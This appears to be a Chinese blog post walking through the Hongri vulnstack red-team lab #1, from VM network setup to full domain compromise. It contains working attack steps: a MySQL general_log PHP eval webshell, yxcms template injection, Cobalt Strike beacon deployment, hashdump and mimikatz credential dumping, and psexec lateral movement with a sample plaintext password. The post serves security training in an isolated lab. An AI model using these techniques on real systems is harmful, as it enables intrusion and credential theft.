V0W's Blog

红日安全vulnstack-ATT&CK实战系列 红队实战(一)

字数统计: 3,765阅读时长: 14 min
2020/07/19 Share

0x00 前言

今后,尽量每周抽时间对较为完整的一个渗透靶机进行练习,先从红日安全团队分享的靶机实战环境开始吧。感谢红日安全团队分享的靶机实战环境。红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。

靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/

本文的目的是为了记录和巩固知识点,并分享出来。

今天先从第一个开始。ATT&CK实战系列——红队实战(一)

闲话扯完了,冲!

0x01 环境搭建

红日安全团队提供的靶机都是虚拟机形式,需要对虚拟机网络进行一定的配置。关于VMware的几种网络模式的原理和区别,可以参考这篇文章——VMware网络连接模式——桥接模式、NAT模式以及仅主机模式的介绍和区别 介绍非常详细,通俗易懂。

我们下载完靶机有三个压缩包,对应三个虚拟机:

VM1为win7,VM2为winserver 2003即win2k3,VM3为winserver 2008,拓扑图为下图所示:

可以看到VM1是通外网的Web服务器,VM2和VM3是内网环境,与外网隔绝,只可以通过VM1进行访问。

一要营造一个内网环境(包括VM1,VM2,VM3),因此需要将虚拟机与外网隔绝,在VMware中可以通过虚拟机设置中的网络适配器来设置,设置成仅主机模式放到一个VMnet中即可实现三台主机在一个内网。

二要使得VM1能够访问外网,所以需要给VM1添加一个网卡,设置成NAT模式。

所以最终我给VM1(win7) 设置两个网卡,一个自定义连接到VMnet1(仅主机模式),另一个连接模式为NAT,方便连接外网。VM2(winserver2k3)和VM3(winserver2008)

最终呈现的结果如下(画了一个不专业的拓扑,大概能表达我的意思吧):

0x02 启动靶机和服务

将三个靶机都启动,此时需要占用较大的内存,建议将其他应用关闭,另外电脑配置最好能在16G及以上。

密码都是 hongrisec@2019,可能会提醒你修改密码,修改后务必记住自己的密码。

进入win7 启动phpstudy。

发现三台主机都是固定IP的,是在192.168.52.0/24段可以通过三台主机之前进行ping测试,测试能通后,可以正式开始练习了。如果遇到NAT(比如主机和同网段的kali)ping不通win7的情况,试着关闭防火墙再试试。

0x03 拿下Web服务器

上述基本完成后,我们可以正式开始本次靶机渗透之旅,Now It’s pentest time.

3.1 信息收集

本机kali的地址为:192.168.237.137

搜索同段的主机,再针对性的使用nmap进行服务端口扫描:

1
netdiscover -i eth0 -r 192.168.237.0/24

或者直接使用nmap扫描同一C段:

1
nmap -sP 192.168.237.0/24		# -sP ping方式探测存活主机

1
nmap -sC -sV -Pn -p 1-65535 192.168.237.136	# -sC默认脚本 -sV 服务版本 -p指定端口

3.2 漏洞利用

发现80 端口开放,进行访问,是一个php探针页面,结合信息收集阶段得到phpstudy的信息,可以确定是一个phpstudy的集成环境。

网站的绝对路径:C:/phpStudy/www/

此时,有两种攻击方案:

  1. phpstudy 后门
  2. 看看MySQL能不能连进去

测试发现使用的版本恰好没有后门文件可以利用。尝试第二种方式,测试MySQL外连和登录密码。这里出题比较简单,直接是弱口令,root/root就可以连进去,而且是可以外连的。

使用dirmap或者御剑扫描web目录,发现phpmyAdminbeifen.rar(如果是没有弱口令,从备份文件中找配置也是一个突破口)

备份文件是一个yxcms的源码:

在全文搜索admin之后,发现后台默认的用户名和密码:admin/123456

发现后台地址:/index.php?r=admin

接下来,又有两种攻击方案可以选择:

  1. 利用phpMyAdmin漏洞进行getshell或者利用MySQL写Shell
  2. 继续跟进yxcms

因为是练习嘛,我们都尝试一遍。

3.2.1 mysql日志写shell

先看一下有没有写权限:

1
show variables like '%secure%';

secure_file_priv ==''为空说明有任意目录的写权限,非空则只能在对应目录读文件,这里的非空包括NULL。所以这里没有写权限,无法直接写shell。

因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。并且无法用sql语句对其进行修改,只能够通过以下方式修改

windows下:

修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

保存,重启mysql。

Linux下:

/etc/my.cnf[mysqld]下面添加local-infile=0选项。

这里无法直接写shell,那我们来尝试日志写 shell,开启日志记录

1
2
3
set global general_log = "ON"; 	# 开启日志记录
show variables like 'general%'; # 查看当前的日志记录
set global general_log_file="C://phpStudy/www/v0w.php"; # 指定日志文件

进行一次查询,查询记录就将写到日志文件中,形成一个webshell。

1
SELECT '<?php eval($_POST["v0w"]);?>'

使用蚁剑连接,getshell。

3.2.2 通过yxcms getshell

利用之前得到的一些信息,登录后台

1
2
后台地址:/index.php?r=admin
用户名和密码:admin 123456

看看有没有上传或者什么可以写入shell的地方。可以通过Seay审计工具来进行比较细致的审计 ,不过我们不用工具,也容易找到前台模板的管理页面存在编辑功能,明显的写shell的地方。

比如随便找一个模板进行修改,插入一句话木马(虽然是随便找的,但是需要知道,这个模板在哪个网页执行)

这个很明显就在index.php处的搜索功能。

比如我们随便搜索一个关键词,就会触发这个shell。再或者通过下载下来的备份文件搜索这个文件,直接访问到这个文件的路径也可以拿下shell。

1
2
3
http://192.168.237.136/yxcms/index.php?r=default%Findex%Fsearch&keywords=q&type=all

http://192.168.237.136/yxcms/protected/apps/default/view/default/index_search.php

0x04 内网渗透

4.1 将web服务器上线到CS

将刚才生成的beacon.exe上传到web目录,然后在shell中执行这个exe,就可以将shell上线到CS了。

4.2 目标主机信息收集

拿到 shell 第一步,调低心跳值,默认心跳为 60s,执行命令的响应很慢

我这是自己的内网且没有杀软我就设置为 0 了,真实环境不要设置这么低

进入 beacon 执行 sleep 0,然后查看下基本的本机信息:

1
2
3
4
whoami
hostname
net user
net localgroup administrators

systeminfo 可以查看系统详细信息,提供两个小 tips:

查看是什么操作系统 & 系统版本:
系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%

查询已安装的软件及版本信息:wmic product get name,version

win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2win7 等版本中可以正常使用

powershell 中可替代该命令的是 Get-WmiObject:

1
Get-WmiObject -class win32_product | Select-Object -property name,version

查询进程及服务:
tasklist,默认显示映像名称,PID,会话名,会话,内存使用

tasklist /svc,默认显示映像名称,PID,服务

1
wmic process list brief

常见的杀软进程:

进程名 软件
360sd.exe 360 杀毒
360tray.exe 360 实时保护
ZhuDongFangYu.exe 360 主动防御
KSafeTray.exe 金山卫士
SafeDogUpdateCenter.exe 安全狗
McAfee McShield.exe
egui.exe NOD32
AVP.exe 卡巴斯基
avguard.exe 小红伞
bdagent.exe BitDefender

4.3 域信息收集

什么是域

参考文章:内网渗透学习导航

域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 从 Windows Server 2003 开始 , Active Directory 是负责维护该中央数据库的 Windows 组件。Windows 域的概念与工作组的概念形成对比,在该工作组中,每台计算机都维护自己的安全主体数据库。

判断是否存在域

使用 ipconfig /all 查看 DNS 服务器:

发现 DNS 服务器名为 god.org,查看域信息:net view

查看主域信息:net view /domain

查看时间服务器:net time /domain

发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)

查询当前的登录域与用户信息:net config workstation

查找域控

利用 nslookup 命令直接解析域名服务器:

1
shell nslookup god.org		# nslookup 域名

查询域控和用户信息

查看当前域的所有用户:net user /domain

获取域内用户的详细信息:wmic useraccount get /all

可以获取到用户名,描述信息,SID 域名等:

查看所有域成员计算机列表:net group "domain computers" /domain

查看域管理员:net group "domain admins" /domain

获取域密码信息:net accounts /domain

获取域信任信息 (cs 里执行提示不是内部或外部命令):nltest /domain_trusts

以下为win7中的执行结果:

4.4 横向探测

获取到一个 csbeacon 后可以继续查看目标内网情况和端口开放情况

beacon 上右键 -> 目标 -> 选择 net view 或者 port scan(端口扫描):

net view

执行之后,可以在CobaltStrike->可视化->目标列表看到扫描出来的主机:

cshashdump 读内存密码:hashdump

mimikatz 读注册表密码:logonpasswords

在凭证信息一栏可以清楚查看:

如果权限不够可以提权,自带部分提权POC

额外的提权插件:ElevateKit额外增加 ms14-058ms15-051ms16-016uac-schtasks 四种提权方式

抓取密码后可以先探测内网其他主机:

ping 方法:

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

最简单的直接 arp -a 查看也可以,这里还推荐一个好用工具 Ladon

Ladon作者是 k8gege,它是一个大型内网渗透扫描器并且支持 cs 脚本形式

cs 要使用的话只需要下载其中的 Ladon.exeLadon.cna 即可运行基本功能

详细功能参考官方 wiki官方说明文档

将Lodan下载下来后,在客户端的CS中CobaltStrike->脚本管理器->Load->Lodan.cna

1
git clone https://github.com/k8gege/Ladon.git

之后就可以愉快的使用了。

查看帮助:

扫描网段内存活主机信息:Ladon 192.168.72.0/24 OsScan

域探测差不多了还可以使用 BloodHound这款域渗透分析工具来分析攻击路径

BloodHound 介绍:

BloodHound 是一种单页的 JavaScript 的 Web 应用程序,构建在 Linkurious 上,用 Electron 编译,NEO4J 数据库 PowerShell/C# ingestor.BloodHound 使用可视化图来显示 Active Directory 环境中隐藏的和相关联的主机内容。攻击者可以使用 BloodHound 轻松识别高度复杂的攻击路径,否则很难快速识别。防御者可以使用 BloodHound 来识别和防御那些相同的攻击路径。蓝队和红队都可以使用 BloodHound 轻松深入了解 Active Directory 环境中的权限关系。

4.5 横向移动

因为192.168.52.0/24段不能直接连接到192.168.237.137(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

简单来说,SMB Beacon 有两种方式

第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash

新建一个 Listenerpayload 设置为 Beacon SMB

在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beaconlisterner:

选择后会反弹一个子会话,在 externalip 后面会有一个链接的小图标:

这就是派生的 SMB Beacon,当前没有连接

可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它

第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

psexec 使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

右键选择一台非域控主机 ROOT-TVI862UBEHpsexec 模块:

在弹出的窗口中选择使用 god.orgAdministrator 的凭证信息

监听器选择刚才创建的 smb beacon,会话也选择对应的 smb beacon 的会话:

可以看到分别执行了

1
2
3
4
5
beacon> rev2self
[*] Tasked beacon to revert token
beacon> make_token GOD.ORG\Administrator V0Wldl19980114
[*] Tasked beacon to create a token for GOD.ORG\Administrator
beacon> jump psexec ROOT-TVI862UBEH smb

这几条命令,执行后得到了 ROOT-TVI862UBEH 这台主机的 beacon

如法炮制得到了域控主机 OWAbeacon,最终目标视图如下:

token 窃取

除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administratortoken 来登录其他主机

选择 beacon 右键 -> 目标 -> 进程列表

选择 GOD\Administratortoken 盗取:

然后在选择令牌处勾选使用当前 token 即可:

0xFF 后记与参考链接

内网渗透的内容很多,完成这个靶机,也只是管中窥豹,发现需要更多的积累和学习,也很感谢很多师傅的博客和笔记,使得我在练习这个靶机的时候轻松很多(其实也没有,依然很累==)0rz。后面希望能够继续更新这个系列,在内网渗透方面也能不断学习,不断成长。

参考链接:

CATALOG
  1. 0x00 前言
  2. 0x01 环境搭建
  3. 0x02 启动靶机和服务
  4. 0x03 拿下Web服务器
    1. 3.1 信息收集
    2. 3.2 漏洞利用
      1. 3.2.1 mysql日志写shell
      2. 3.2.2 通过yxcms getshell
  5. 0x04 内网渗透
    1. 4.1 将web服务器上线到CS
    2. 4.2 目标主机信息收集
    3. 4.3 域信息收集
      1. 什么是域
      2. 判断是否存在域
      3. 查找域控
      4. 查询域控和用户信息
    4. 4.4 横向探测
    5. 4.5 横向移动
      1. psexec 使用凭证登录其他主机
      2. token 窃取
  6. 0xFF 后记与参考链接